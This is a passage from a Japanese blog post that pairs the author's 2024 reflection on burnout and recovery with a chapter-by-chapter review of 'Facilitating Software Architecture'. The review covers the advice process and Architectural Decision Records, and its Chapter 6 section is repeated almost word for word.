Records)に通じる素晴らしさがあります。過去の決定とその背景を記録し、将来の自分や他者が参照できる形で残すことは、個人の成長にとって貴重な資産となります。そんな観点から今年を振り返ってみると、2024年は私自身にとって大きな試練と変化の年でした。印象的だったのは、ある時期に突然、技術に対する興味や情熱が完全に失われてしまったことです。それは技術分野に限らず、仕事全般や私生活にも波及し、何をするにも意欲が湧かない、深い無気力状態に陥ってしまいました。しかし、この困難な時期を経て、いくつかの意味のある変化が生まれました。私は以前から技術書の書評を書いていましたが、これは主に自分の理解を深め、将来の自分のための記録として残すことが目的でした。より自分の感想や学びを素直に記録することに注力するようになりました。その結果長文になることも多々ある。この文章も同様に長くなってしまった。外部登壇やブログもいくつか書きました。また、Xでは書籍を紹介するアカウントの運営方法を始めました。めちゃくちゃにバカにされたり批判もされたが明確な敵ができて嬉しい。これは思いがけずフォロワーの方々との貴重な出会いを生み、さらには翻訳書の出版という新たな機会にもつながりました。あとは回復の過程で気づいたのは、基本的な生活習慣を見直すことの大切さでした。規則正しい運動習慣の確立、十分な睡眠時間の確保、そして栄養バランスを意識した食事管理を意識的に行うことで、徐々に日常を取り戻すことができました。また、仕事漬けの状態から一時的に距離を置き、純粋な娯楽を楽しむ時間を作ることも大きな助けとなりました。好きな映画やお笑い番組を観て心を癒したり、仕事や技術とは直接関係のない物語や小説に没頭する時間を意識的に作りました。一見すると遠回りに思えるこれらの活動が、むしろ心の回復を促し、結果として日常への活力を取り戻すきっかけとなったのです。このような経験を通じて、技術や仕事への向き合い方を大きく変えることができました。時には立ち止まり、心身の健康に意識を向けることの大切さを、身をもって学ぶ機会となったのです。そして、この振り返りを書き記すことは、まさにADRのように、将来の自分への重要な指針となることを願っています。あと、以下からtemplateを利用して作成することもできます。adr.github.ioはじめにここからは書評です。年の瀬や新しい年のスタートは、振り返りや目標設定の時期として特別な意味を持つことが多いと思います。そのような忙しい時期に手に取った一冊が、「Facilitating Software Architecture」でした。この本は、現代のソフトウェア開発における複雑な課題に向き合い、分散型アプローチを基盤にした実践的な知見を提供しています。読み進めるうちに、この時期に改めて考えたい「意思決定」「信頼」「チーム文化」といったテーマが深く掘り下げられており、多くの示唆を得ることができました。Facilitating Software Architecture: Empowering Teams to Make Architectural Decisions (English Edition)作者:Harmel-Law, AndrewO'Reilly MediaAmazon本書は、分散型アーキテクチャの実践を通じて、現代のソフトウェア開発における複雑な課題に立ち向かうための方法を探求しています。従来の中央集権的なアーキテクチャ手法の限界を明確にし、変化の激しい開発環境に適応するための分散型アプローチを提案します。ソフトウェア開発は技術的な進化だけでなく、チームや組織文化といった社会的要素とも密接に関連しています。成功する開発チームは、技術的な卓越性を追求するだけでなく、分散化された信頼に基づく意思決定や柔軟なプロセスを取り入れる必要があります。本書では、理論的な原則だけでなく、実践的なアプローチや具体的な事例を交えながら、分散型アーキテクチャを支える方法を体系的に示しています。重要なのは、トップダウンの権限に頼らない意思決定の実現です。組織が成長し複雑化する中で、中央集権的なアプローチはその限界を迎えつつあります。そこで必要となるのが、信頼関係に基づいた民主的な意思決定プロセスです。本書は、このような信頼ベースの分散型アーキテクチャを実現するための具体的な方法論を提供しています。learning.oreilly.comアーキテクチャの民主化が必要な理由の一つは、中央集権的なアプローチに内在する持続可能性の問題です。いかに優秀なアーキテクトであっても、人は組織を去り、知識は失われ、文脈は変化します。アーキテクチャの決定権を特定の個人や小グループに集中させることは、長期的には組織の脆弱性につながります。分散型アプローチは、この本質的な課題に対する解決策を提供します。知識と決定権を組織全体で共有することで、個人への依存を減らし、より持続可能な開発文化を築くことができるのです。「中央集権型アプローチの限界」「アドバイスプロセスの導入」「アーキテクチャ意思決定記録(ADR:Architectural Decision Records)」の活用といったテーマを中心に、現代のソフトウェア開発組織が直面する課題とその解決策を深く掘り下げています。この知識は、開発者、アーキテクト、リーダーなど、さまざまな役割の方々がそれぞれの立場でより良い意思決定を行うための指針となるでしょう。ADR(Architecture Decision Records)との出会いは『Fundamentals of Software Architecture』の第19章を通じてでした。後に振り返ると、Design IT!でも触れられていたかもしれませんが、その時点では深く印象に残っていませんでした。learning.oreilly.com初めてADRの概念に触れた時、その単純さと効果的さに強く惹かれました。アーキテクチャ上の重要な決定を、その背景や検討過程も含めて記録するという考え方は、私が長年感じていた「なぜその決定に至ったのか」という疑問への明確な解答でした。ADRの実践において重要なのは、その適用範囲と文脈の深さを適切に見極めることです。あくまでシステムの方向性を決定づける重要な技術選択や、将来に大きな影響を与える可能性のある決定に焦点を当てるべきです。例えば、マイクロサービスアーキテクチャの採用、主要なデータベースの選定、重要なインターフェースの設計などが該当します。ただし、これらの決定についても、組織の規模や文化、個々のプロジェクトや各メンバーの気質などの特性に応じて適切な記録の粒度と範囲を見極める必要があります。一方で、日々の実装上の判断や、影響範囲が限定的な決定については、よりライトウェイトな文書化手法を選択すべきでしょう。コードのコメント、プルリクエストの説明、あるいはチームのWikiなどが適しています。ADRの価値は、その決定が組織やプロジェクトに与える影響の大きさに比例するからです。その後、実践的な知見を得るために様々な導入事例を調査しました。以下のブログ記事からは具体的な実装方法や運用上の工夫について多くの学びを得ることができました。user-first.ikyu.co.jplaiso.hatenablog.comblog.studysapuri.jp speakerdeck.comこれらの事例研究を通じて、ADRは単なるドキュメンテーションツールではなく、チーム全体の意思決定プロセスを改善し、知識共有を促進する強力な手段であることを理解しました。その後、自身の関わるプロジェクトでもADRを段階的に導入し、マイクロサービスアーキテクチャにおける設計判断の記録と共有に活用してきました。現在では、チーム内の技術的なコミュニケーションにおいて不可欠なツールとなっています。syu-m-5151.hatenablog.comChapter 1. Centralized Architecture Practices in a Decentralized World第1章「Centralized Architecture Practices in a Decentralized World」では、伝統的なソフトウェアアーキテクチャ実践の詳細な分析と、現代の分散化された開発環境における限界について論じています。著者は、5つの重要な革命的変化を軸に、中央集権的なアーキテクチャ実践の課題を説得力ある形で示しています。この章は、アーキテクチャ実践の根本的な変革の必要性を理解する上で重要な示唆を提供します。伝統的なアーキテクチャ実践の限界著者はまず、伝統的なアーキテクチャ実践を「アイボリータワー型」と「ハンズオン型」という2つの代表的なアプローチに分類します。アイボリータワー型アプローチでは、アーキテクトが組織の上層部に位置し、全体を俯瞰的に見渡しながら統制を重視します。このモデルでは、アーキテクトは開発チームから距離を置き、主に文書やレビューを通じて指示を与えます。Figure 1-1. The ivory tower approach to practicing architecture より引用一方、ハンズオン型アプローチでは、アーキテクトが個々の開発チームに密着し、実装レベルでの直接的な支援を行います。このモデルでは、アーキテクトはチーム間を移動しながら、より実践的な指導と支援を提供します。Figure 1-2. The hands-on, cross-team approach to practicing architecture より引用これら2つのアプローチは、一見異なる実践方法を採用していますが、「アーキテクトへの決定権の集中」という本質的な共通点を持ちます。この中央集権的な特徴は、現代の開発環境において深刻な課題を引き起こします。この課題は顕著です。以前参画した大規模マイクロサービス開発プロジェクトでは、アイボリータワー型アーキテクトの理想的な設計と現場の実際のニーズとの間に大きなギャップが生じました。アーキテクトが提案する完璧な設計は、実際の開発現場での制約や要件と整合性が取れず、結果として開発の遅延と品質の低下を招きました。この経験から、現代のソフトウェア開発においては、より柔軟で適応的なアプローチが必要だと強く感じています。ソフトウェア開発を変えた5つの革命著者は、現代のソフトウェア開発を根本的に変革した5つの重要な革命として、アジャイル開発、クラウドコンピューティング、DevOps、プロダクト思考、ストリーム指向チームを提示します。これらの革命により、ソフトウェア開発はより分散的でフィードバック重視の方向へと導かれました。しかし個人的には、これらに加えて大規模言語モデル(LLM)の台頭が、ソフトウェア開発を根本的に変革する新たな革命になると考えています。LLMによる変革は、単なる開発効率の向上にとどまらず、アーキテクチャの設計プロセスやチーム間のコミュニケーション、意思決定の方法そのものを変える可能性を秘めています。例えば、設計の選択肢の探索や過去の決定の分析、ドキュメンテーションの自動生成といった作業が劇的に効率化され、開発者はより本質的な判断や創造的な活動に注力できるようになるでしょう。私は、これら全ての変革の影響を実務で強く実感しています。DevOpsの導入は、開発と運用の壁を取り払い、より迅速なフィードバックサイクルを実現しました。また、プロダクト思考の浸透により、技術的な卓越性だけでなく、実際のビジネス価値の提供に焦点が当たるようになりました。そしてLLMの活用は、これらの革新をさらに加速させ、ソフトウェア開発の未来を大きく変えていくことでしょう。分散化とフィードバックの重要性著者は、現代のソフトウェアアーキテクチャには「分散化」と「フィードバック」という2つの要素が不可欠だと主張します。以前のプロジェクトでは、分散化されたチーム構造を採用することで、各チームの自律性が向上し、より迅速な意思決定が可能になりました。というか人が多すぎるとフィードバックが大変になる。また、継続的なフィードバックの重要性も実感しています。実際の運用から得られる知見を設計に反映する仕組みを確立することで、より実効性の高いアーキテクチャを実現できました。本番環境での問題や予期せぬユースケースから学び、それを設計に反映するサイクルが重要でした。みんなのフィードバック大全作者:三村 真宗光文社Amazonカオスと不確実性への対応著者は、ソフトウェアシステムにおけるカオスと不確実性を、避けるべき問題としてではなく、むしろ自然な特性として受け入れることを提唱します。私も、この視点は極めて重要だと感じています。完璧な設計を追求するのではなく、変化への適応能力を重視する現実的なアプローチが、現代のソフトウェア開発には不可欠です。エンジニアリング組織論への招待 ~不確実性に向き合う思考と組織のリファクタリング作者:広木 大地技術評論社Amazon注目すべきは「弱い創発」の概念です。私が担当したマイクロサービスプロジェクトでは、予期せぬサービス間の相互作用が発生することがありました。しかし、これを問題視するのではなく、システムの進化の機会として捉え直すことで、より柔軟で強靭なアーキテクチャを実現できました。フィードバックループと伝統的アプローチの課題著者は、伝統的なアーキテクチャ実践の最大の問題点として、効果的なフィードバックループの欠如を指摘します。この指摘は、感覚と完全に一致します。たとえばハンズオン型アプローチでさえ、システム全体からの包括的なフィードバックを適切に取り入れることができていません。著者が挙げる追跡番号管理システムの事例は、この課題を明確に示しています。スケーリング機能と再試行メカニズムの相互作用が予期せぬ動作を引き起こすという事例は、私も似たような事例を経験したことがあります。個々のコンポーネントは適切に設計されていても、それらの組み合わせが予想外の結果をもたらすことは、分散システムではよく起こる現象です。チームの分散化とアーキテクチャの整合性著者は、チームの組織構造とアーキテクチャの構造における整合性の重要性を強調します。これはコンウェイの法則の現代的な解釈として理解できます。この整合性は極めて重要です。マイクロサービスアーキテクチャを採用しながら、中央集権的な意思決定プロセスを維持しようとした組織では、深刻な課題が発生します。マイクロサービスの境界設定や技術選定に関する決定が中央のアーキテクチャチームに集中していたため、各開発チームの自律性が損なわれ、結果として開発のボトルネックが発生しました。アーキテクチャの分散化には、それに対応する組織構造の変革が不可欠だと学びました。結論本章は、現代のソフトウェア開発における伝統的なアーキテクチャ実践の限界を明確に示し、新しいアプローチの必要性を説得力ある形で提示しています。著者が示す予測不可能性の受容、創発的な性質の活用、フィードバックの重視という3つの要件は、実践的な指針として極めて有用です。これらの要件は技術的な側面だけでなく、組織的・文化的な変革も必要とすることが分かっています。重要なのは、チームの自律性を高めながら、組織全体としての一貫性を保つバランスです。分散化とフィードバックを重視する新しいアプローチは、このバランスを実現する上で重要な実践基盤となります。今後、ソフトウェア開発の複雑性はさらに増していくことが予想されます。その中で、本章で示された知見は、より適応力の高い組織とアーキテクチャを実現するための重要な指針となるでしょう。Part I. First PrinciplesPart I. First Principlesは、アーキテクチャ実践の基本原則を示す重要なパートです。伝統的なソフトウェアアーキテクチャの実践が直面する課題と、その解決策として分散型の意思決定アプローチを提案しています。このパートでは、アーキテクチャ実践の核となる「決定」に焦点を当て、その重要性と評価基準を明確にします。さらに大規模な意思決定の従来のアプローチを検証し、それらが現代のソフトウェア開発における分散型の意思決定と迅速なフィードバックという要件を満たせない理由を分析します。この課題に対する解決策として「アーキテクチャ・アドバイスプロセス」を提案します。このプロセスは分散型の意思決定と迅速なフィードバックを両立させる新しいアプローチです。著者はこのプロセスの導入方法や予想される課題、そしてアーキテクチャ決定記録(ADRs)による信頼構築と組織学習の方法を具体的に説明します。このパートは、現代のソフトウェア開発における効果的なアーキテクチャ実践の基礎となる原則と実践方法を包括的に提供しています。アドバイスプロセスとそれを支える要素の理解は、次のパートで扱う実践的なトピックの土台となります。learning.oreilly.comChapter 2. To Practice Architecture Is to Decide第2章「To Practice Architecture Is to Decide」はソフトウェアアーキテクチャの実践における意思決定の本質と重要性を扱います。アーキテクチャ的に重要な意思決定の定義と判断基準について深く掘り下げています。著者はアーキテクチャ意思決定を構造・非機能特性・依存関係・インターフェース・構築技術の5つの観点から整理し実践的な指針を提供します。Software Architecture and Decision-Making: Leveraging Leadership, Technology, and Product Management to Build Great Products がとても良いがlearning.oreilly.comこの本は島田さんによって翻訳されている。とてもありがたい。ソフトウェアアーキテクトのための意思決定術 リーダーシップ/技術/プロダクトマネジメントの活用作者:Srinath PereraインプレスAmazonアーキテクチャ決定の本質著者はすべてのアーキテクチャ決定が技術的決定である一方で技術的決定の全てがアーキテクチャ決定ではないという重要な区別から議論を始めます。この区別は実務上非常に重要です。私もプロジェクトの初期段階でこの区別が曖昧だったために些末な技術的決定に時間を費やしてしまうケースを何度も目にしてきました。Figure 2-1. All architectural decisions are technical decisions, but not all technical decisions are architectural ones より引用アーキテクチャ決定の基準として著者はMichael Nygardの5つの基準を採用します。構造への影響・非機能特性への影響・依存関係への影響・インターフェースへの影響・構築技術への影響です。この基準は実践的で分かりやすく私も日々の意思決定の判断に活用しています。cognitect.comアーキテクチャ的に重要な決定の特定著者は更に一歩踏み込んでアーキテクチャ的に重要な決定の基準を提示します。重要なのは運用環境へのデプロイとの関係です。どんなに優れた設計も実際に動作するまでは単なる仮説に過ぎません。デプロイを阻害する決定は常に重要です。以前関わったプロジェクトでは理想的なアーキテクチャを追求するあまりデプロイが困難になり結果として価値の提供が遅れるという失敗を経験しました。意思決定者の多様性著者はアーキテクチャ決定は必ずしもアーキテクトだけのものではないという重要な指摘を行います。開発者やQAエンジニアも重要なアーキテクチャ決定を行う可能性があります。この視点は伝統的なアーキテクチャ実践からの大きな転換を示唆します。私の現在のプロジェクトでもチームメンバー全員がアーキテクチャ決定に関与する文化を築いています。その結果より良い決定が行われるだけでなくチームの当事者意識も高まっています。意思決定プロセスの重要性著者は意思決定のプロセスよりも結果の重要性を強調します。長時間の検討や意図的な決定であることは必ずしも良い決定を保証しません。むしろ迅速な決定と実践からのフィードバックの方が重要な場合が多いのです。この指摘は私の実務経験とも一致します。完璧な決定を目指して時間をかけるよりも早期に実践し改善を重ねる方が良い結果につながることを何度も経験してきました。結論本章の内容は日々のアーキテクチャ実践に直接活かせる示唆に富んでいます。アーキテクチャ決定の判断基準とデプロイとの関係の2点は重要です。これらの基準を用いることで意思決定の質と速度の両方を改善できます。一方で組織の規模や文化によってはこれらの原則の適用が難しい場合もあります。その場合は段階的な導入や既存のプロセスとの調和を図る必要があるでしょう。結論として本章はアーキテクチャ実践における意思決定の本質を明確に示し実践的な指針を提供しています。これらの知見は現代のソフトウェア開発組織において極めて重要な意味を持ちます。Chapter 3. Decisions at Scale第3章「Decisions at Scale」は組織規模でのアーキテクチャ意思決定プロセスを詳細に分析します。著者は意思決定の本質的な構造を明らかにし標準的な意思決定アプローチの特徴と限界を示しています。現代の分散化されたソフトウェア開発環境における意思決定プロセスの要件について深い洞察を提供します。パーフェクトな意思決定――「決める瞬間」の思考法作者:安藤広大ダイヤモンド社Amazon意思決定プロセスの基本構造著者は意思決定プロセスをオプションの生成と決定の実行と決定の共有という3つの要素に分解します。この単純な分析枠組みは実務上極めて有用です。私も以前関わったマイクロサービスプロジェクトで同様の枠組みを用いて意思決定プロセスを整理しました。重要なのは決定の共有です。いかに優れた決定でも共有が適切に行われなければ無意味です。チーム間のコミュニケーション不足により優れた設計判断が台無しになるケースを何度も目にしてきました。Figure 3-1. A naive view of a generic decision process (“deciding”) in context (the required need for the decision and the subsequent implementation of the result) より引用標準的な意思決定プロセスとその限界著者は意思決定プロセスを中央集権型と分散型に大別します。中央集権型には独裁的・委任型・諮問型があり分散型には合意型・民主型・コンセンサス型があります。多くの組織が中央集権型と分散型のハイブリッドなアプローチを採用します。例えば技術選定は諮問型で行いながら実装の詳細はチームに委ねるといった具合です。意思決定プロセスの文化的基盤意思決定プロセスを考える際に重要なのは、その文化的基盤への理解です。渡邊雅子の『論理的思考とは何か』では、論理的思考が領域ごとに異なる形を取ることを指摘しています。この知見は、アーキテクチャ意思決定プロセスを設計する上で重要な示唆を与えます。経済領域では効率性を重視した思考が、政治領域では合意形成を重視した思考が特徴的です。また、法技術領域では規範性を重視した思考が、社会領域では共感を重視した思考が中心となります。例えば、マイクロサービスアーキテクチャの採用を検討する際、効率性(コストとパフォーマンス)、合意形成(各部門の利害調整)、規範性(セキュリティ要件)、共感(チームの受容性)という異なる観点からの評価が必要になります。アーキテクチャの意思決定プロセスを設計する際は、これらの文化的な思考パターンを状況に応じて適切に組み合わせることが重要です。特に日本の組織においては、共感による推理と配慮的な表現を重視する社会領域のアプローチを適切に取り入れることで、より効果的な意思決定が可能になります。論理的思考とは何か (岩波新書)作者:渡邉 雅子岩波書店Amazon意思決定プロセスの要件著者は意思決定プロセスの4つの要件を示します。適切な人々の関与・決定権の最適化・信頼の重視・共有の最小化です。これらの要件は私の実務経験とも合致します。以前のプロジェクトで決定権を完全に分散化したことで意思決定が遅くなり逆に集中化し過ぎて柔軟性を失うという両極端な失敗を経験しました。実践的な示唆本章の内容は日々のアーキテクチャ実践に直接活かせる示唆に富んでいます。意思決定プロセスの選択基準と共有方法の工夫は重要です。私の現在のプロジェクトでは決定のスコープに応じて異なるプロセスを使い分けています。マイクロサービス間のインターフェース設計は合意型で行う一方サービス内部の実装は各チームに委ねるといった具合です。結論著者はスピードと分散化を両立する新しい意思決定プロセスの可能性を示唆して締めくくっています。この視点は極めて重要です。私も組織の規模や文化に応じて柔軟にプロセスを適応させることが重要だと考えています。一つの正解はなく文脈に応じた適切な選択が必要です。結論として本章は意思決定プロセスの本質を明らかにし実践的な指針を提供しています。これらの知見は現代のソフトウェア開発組織において極めて重要な意味を持ちます。Chapter 4. The Architecture Advice Process第4章「The Architecture Advice Process」はアーキテクチャ意思決定のアプローチを提案します。アドバイスプロセスと呼ばれるこのアプローチは高速な意思決定と権限の分散化を両立します。著者は具体的な事例を通じてこのプロセスの実践方法と効果を示しています。他者と働く──「わかりあえなさ」から始める組織論 (NewsPicksパブリッシング)作者:宇田川元一ニューズピックスAmazonアドバイスプロセスの本質著者は意思決定プロセスの根本的な変革としてアドバイスプロセスを提案します。このプロセスの核心は誰もが意思決定を開始できるという点です。意思決定の集中化は開発の大きなボトルネックとなってきました。アドバイスプロセスでは決定者は2つのグループから助言を求める必要があります。影響を受ける関係者とその領域の専門家です。これは単なる形式的な手続きではなく社会的な契約として機能します。実践例による理解著者は2つの具体例を通じてアドバイスプロセスを説明します。1つ目は開発チームがリリーストグルを導入する事例です。チームは関係者や専門家から助言を得ることで当初の設計を大きく改善しました。私も似たような経験をしています。以前のプロジェクトでフィーチャートグルの導入を決めた際に様々な関係者の意見を聞くことで運用面の課題を事前に把握できました。アドバイスの本質著者はアドバイスは方向性と理由の組み合わせだと説明します。単なる意見との違いは理由の有無です。この視点は極めて重要です。理由を伴わない意見は意思決定の改善につながりません。理由のない意見は混乱を招くだけでした。「このフレームワークを使うべき」という意見より「このフレームワークならこういう理由でこの課題が解決できる」というアドバイスの方が遥かに有用でした。信頼の重要性アドバイスプロセスの成功は信頼関係にかかっています。著者は信頼を築くためには対話が重要だと指摘します。これは私の実務経験とも合致します。信頼はどの職種にも重要である。信頼がない職場では仕事ができないのは万国で共通なのである。対話を通じて相互理解を深めることで初めて有意義なアドバイスが可能になります。一方的な意見の押し付けは避けるべきです。syu-m-5151.hatenablog.com結論アドバイスプロセスは組織文化も変革します。従来型のアーキテクチャ実践では意思決定権限が集中することで様々な歪みが生じていました。アドバイスプロセスはこの問題を解決します。私の組織でもアドバイスプロセスの導入後はチーム間のコミュニケーションが活発になり意思決定のスピードも向上しました。結論として本章はアジャイルな開発環境に適した新しいアーキテクチャ実践を提案しています。アドバイスプロセスは意思決定の民主化と効率化を両立する優れたアプローチです。これからのソフトウェア開発組織にとって重要な示唆を含んでいます。Chapter 5. Rolling Out the Architecture Advice Process第5章「Rolling Out the Architecture Advice Process」はアドバイスプロセスの具体的な導入方法について解説します。著者は現在の組織的立場に応じた3つの導入アプローチを示し導入時の課題と対処法を詳細に説明しています。企業変革のジレンマ 「構造的無能化」はなぜ起きるのか (日本経済新聞出版)作者:宇田川元一日経BPAmazon導入アプローチの選択著者は導入アプローチを現在の意思決定権限に基づいて分類します。アーキテクトとして意思決定権を持つ場合は自身の実践から始めます。開発チームとして権限がない場合は実験的な試行から始めます。この分類は的確です。以前関わったプロジェクトでは権限を持つアーキテクトから導入を始めることで組織全体への浸透がスムーズでした。段階的な導入の重要性著者は小規模な実験からスタートすることを強く推奨します。これは組織の文化や既存のプロセスに大きな変更を加えるためです。実験を通じて課題を早期に発見し対処することが重要です。この指摘は極めて実践的です。私も大規模な変更を一度に行って混乱を招いた経験があります。段階的なアプローチは確実な導入につながります。初期の課題への対応著者は導入初期に直面する主な課題として4つを挙げます。プロセスの誤解、適切な助言者の選定漏れ、Why?の問いかけ不足、責任の所在の不明確さです。これらの課題は私も度々遭遇します。チームが自律的に判断を行う文化への移行には慎重なケアが必要です。信頼の構築著者は信頼関係の構築がプロセスの成功に不可欠だと指摘します。自身と他者の判断能力への信頼、アドバイスの授受への信頼、全体状況の把握への信頼が重要です。私の組織でも信頼関係の醸成に注力しています。定期的な振り返りと成功体験の共有が効果的でした。結論本章の内容は極めて実践的な示唆に富んでいます。導入時のチェックリストは有用です。組織の専門家マップを整備することでアドバイスプロセスがより効果的になります。私の現在のプロジェクトでもこのアプローチを採用しています。各領域の専門家を明確化することで適切なアドバイスを得やすくなりました。結論として本章はアドバイスプロセスの実践的な導入方法を提供しています。組織の現状に応じた段階的な導入と信頼関係の構築に焦点を当てた著者の提案は極めて妥当です。次章で説明される「アーキテクチャ決定記録」と組み合わせることで更に効果的な実践が可能になるでしょう。Chapter 6. Architectural Decision Records第6章「Architectural Decision Records」は、アーキテクチャ意思決定プロセスを支援し記録するための実践的なアプローチとしてArchitectural Decision Records (ADRs)を詳細に解説しています。ADRsはアーキテクチャ意思決定の透明性を高め、組織の学習を促進する重要なツールとして位置づけられています。百年の孤独 (新潮文庫 カ 24-2)作者:ガブリエル・ガルシア=マルケス新潮社AmazonADRsの本質と目的ADRsは単なる決定の記録ではありません。アーキテクチャ意思決定の全過程を支援する重要なツールです。現代のソフトウェア開発では意思決定の透明性とトレーサビリティが極めて重要です。実際の開発現場では以前のアーキテクチャ決定が後から問題を引き起こすことがしばしば発生します。ADRsはそのような状況でもアーキテクチャ決定の背景と理由を明確に示すことができます。意思決定の全プロセスをサポートするADRsの役割は重要です。とあるプロジェクトでも複雑なマイクロサービスアーキテクチャの移行においてADRsを活用しました。チーム間のコミュニケーションが改善され決定プロセスの透明性が大きく向上しました。Figure 6-1. The place of ADRs in the advice process より引用ADRsとDesign docsの違いここでADRsとよく比較されるDesign docsとの主な違いを整理しておくことは有用でしょう。両者は一見似ているように見えますが、その目的と特性は大きく異なります。tkybpp.hatenablog.comADRsは個々の重要な技術的決定に焦点を当て、その決定に至った背景と理由を時系列で記録します。例えば「なぜKafkaではなくRabbitMQを選択したのか」「どうしてMongoDBを採用したのか」といった具体的な決定事項とその文脈を残します。一度記録された決定は変更せず、新しい決定を追加することで履歴を形成していきます。一方、Design docsはシステム全体やコンポーネントの設計を包括的に説明することを目的とします。技術的な設計の詳細、アーキテクチャの全体像、実装方針などを広く扱い、システムの各部分の関係性を示します。Design docsは必要に応じて更新され、常に現在の設計状態を反映するように維持されます。この違いは実務上重要な意味を持ちます。あるマイクロサービス開発プロジェクトでは、Design docsでシステム全体のアーキテクチャや各サービスの役割、データフローを説明する一方で、ADRsでは個別の技術選定の決定と理由を記録していました。両者は補完関係にあり、大規模なプロジェクトでは両方を併用することで、設計の全体像と重要な決定の経緯の両方を効果的に残すことができます。このように、ADRsはDesign docsと異なり、意思決定のプロセスと理由を明確に記録することに特化しています。この特徴は、後述する「意思決定の全プロセスをサポート」という役割と密接に結びついています。他にも技術ドキュメントはあるのですが全体を探るにはこちらがオススメです。技術文書の書き方 · GitHubADRsの構造と実践ADRsには明確な構造があります。タイトル、メタデータ、決定内容、コンテキスト、オプション、結果、アドバイスという基本的なセクションで構成されます。各セクションは読み手を意識した構造になっており、決定の背景から結果までを効果的に伝えることができます。実際の開発現場ではオプションと結果のセクションが重要です。あるプロジェクトでデータベースの選定を行う際にADRsを活用しました。複数のオプションを比較検討する過程で、チームメンバー全員が意思決定に参加できる環境を作ることができました。ADRsのライフサイクル管理ADRsのステータス管理は重要です。ドラフト、提案、承認、廃止といった基本的なステータスに加えて、組織の必要に応じて独自のステータスを追加することも可能です。ステータス管理を通じてADRsの現在の状態を明確に示すことができます。とある案件ではGitHubのプルリクエストプロセスとADRsを統合しました。これによりレビューとフィードバックのプロセスが自然な形で確立され、意思決定の質が向上しました。ADRsの組織的影響ADRsの導入は組織文化にも大きな影響を与えます。意思決定プロセスの透明性が高まることで、チーム間の信頼関係が強化されます。また、過去の決定を参照できることで、新しいメンバーのオンボーディングも効率化されます。一方で、ADRsの導入には慎重なアプローチが必要です。形式的な文書作成に陥らないよう、実際の意思決定プロセスを支援するツールとして活用することが重要です。過度な形式主義は避けるべきです。結論と展望ADRsは現代のソフトウェア開発組織に不可欠なツールです。アーキテクチャ意思決定の透明性を高め、組織の学習を促進します。しかし、その効果を最大限に引き出すためには、組織の文化や既存のプロセスに合わせた適切な導入が必要です。Figure 6-1の意思決定プロセスの図は印象的です。ADRsが意思決定のどの段階でどのように活用されるかを明確に示しています。この図は実際の導入時のガイドとしても有用です。今後の課題としては、分散開発チームでのADRsの活用や、自動化ツールとの統合などが考えられます。これらの課題に取り組むことで、より効果的なアーキテクチャ意思決定プロセスを実現できるでしょう。結論ADRsは理論的な枠組みとしても優れていますが、実践的なツールとしてさらに重要です。とある案件では週次のアーキテクチャレビューでADRsを活用しています。これにより意思決定プロセスが標準化され、チーム全体の理解が深まりました。最後に強調したいのは、ADRsは生きたドキュメントだということです。形式的な文書作成に終始せず、実際の意思決定プロセスを支援するツールとして活用することが成功の鍵となります。組織の成長とともにADRsも進化させていく柔軟な姿勢が重要です。Chapter 6. Architectural Decision Records第6章「Architectural Decision Records」は、アーキテクチャ意思決定プロセスを支援し記録するためのアプローチとしてArchitectural Decision Records (ADRs)を詳細に解説しています。ADRsはアーキテクチャ意思決定の透明性を高め、組織の学習を促進する重要なツールとして位置づけられています。ADRsの本質と目的ADRsは単なる決定の記録ではありません。アーキテクチャ意思決定の全過程を支援する重要なツールです。現代のソフトウェア開発では意思決定の透明性とトレーサビリティが極めて重要です。実際の開発現場では以前のアーキテクチャ決定が後から問題を引き起こすことがしばしば発生します。ADRsはそのような状況でもアーキテクチャ決定の背景と理由を明確に示すことができます。意思決定の全プロセスをサポートするADRsの役割は重要です。とあるプロジェクトでも複雑なマイクロサービスアーキテクチャの移行においてADRsを活用しました。チーム間のコミュニケーションが改善され決定プロセスの透明性が大きく向上しました。Figure 6-1. The place of ADRs in the advice process より引用ADRsの構造と実践ADRsには明確な構造があります。タイトル、メタデータ、決定内容、コンテキスト、オプション、結果、アドバイスという基本的なセクションで構成されます。各セクションは読み手を意識した構造になっており、決定の背景から結果までを効果的に伝えることができます。実際の開発現場ではオプションと結果のセクションが重要です。あるプロジェクトでデータベースの選定を行う際にADRsを活用しました。複数のオプションを比較検討する過程で、チームメンバー全員が意思決定に参加できる環境を作ることができました。ADRsのライフサイクル管理ADRsのステータス管理は重要です。ドラフト、提案、承認、廃止といった基本的なステータスに加えて、組織の必要に応じて独自のステータスを追加することも可能です。ステータス管理を通じてADRsの現在の状態を明確に示すことができます。とある案件ではGitHubのプルリクエストプロセスとADRsを統合しました。これによりレビューとフィードバックのプロセスが自然な形で確立され、意思決定の質が向上しました。ADRsの組織的影響ADRsの導入は組織文化にも大きな影響を与えます。意思決定プロセスの透明性が高まることで、チーム間の信頼関係が強化されます。また、過去の決定を参照できることで、新しいメンバーのオンボーディングも効率化されます。一方で、ADRsの導入には慎重なアプローチが必要です。形式的な文書作成に陥らないよう、実際の意思決定プロセスを支援するツールとして活用することが重要です。過度な形式主義は避けるべきです。結論と展望ADRsは現代のソフトウェア開発組織に不可欠なツールです。アーキテクチャ意思決定の透明性を高め、組織の学習を促進します。しかし、その効果を最大限に引き出すためには、組織の文化や既存のプロセスに合わせた適切な導入が必要です。今後の課題としては、分散開発チームでのADRsの活用や、自動化ツールとの統合などが考えられます。これらの課題に取り組むことで、より効果的なアーキテクチャ意思決定プロセスを実現できるでしょう。結論ADRsは理論的な枠組みとしても優れていますが、実践的なツールとしてさらに重要です。とある案件では週次のアーキテクチャレビューでADRsを活用しています。これにより意思決定プロセスが標準化され、チーム全体の理解が深まりました。最後に強調したいのは、ADRsは生きたドキュメントだということです。形式的な文書作成に終始せず、実際の意思決定プロセスを支援するツールとして活用することが成功の鍵となります。組織の成長とともにADRsも進化させていく柔軟な姿勢が重要です。Part II. Nurturing and Evolving Your Culture of Decentralized TrustPart II. Nurturing and Evolving Your Culture of Decentralized Trustは、分散型アーキテクチャにおける組織文化の育成と発展に焦点を当てたパートです。Part 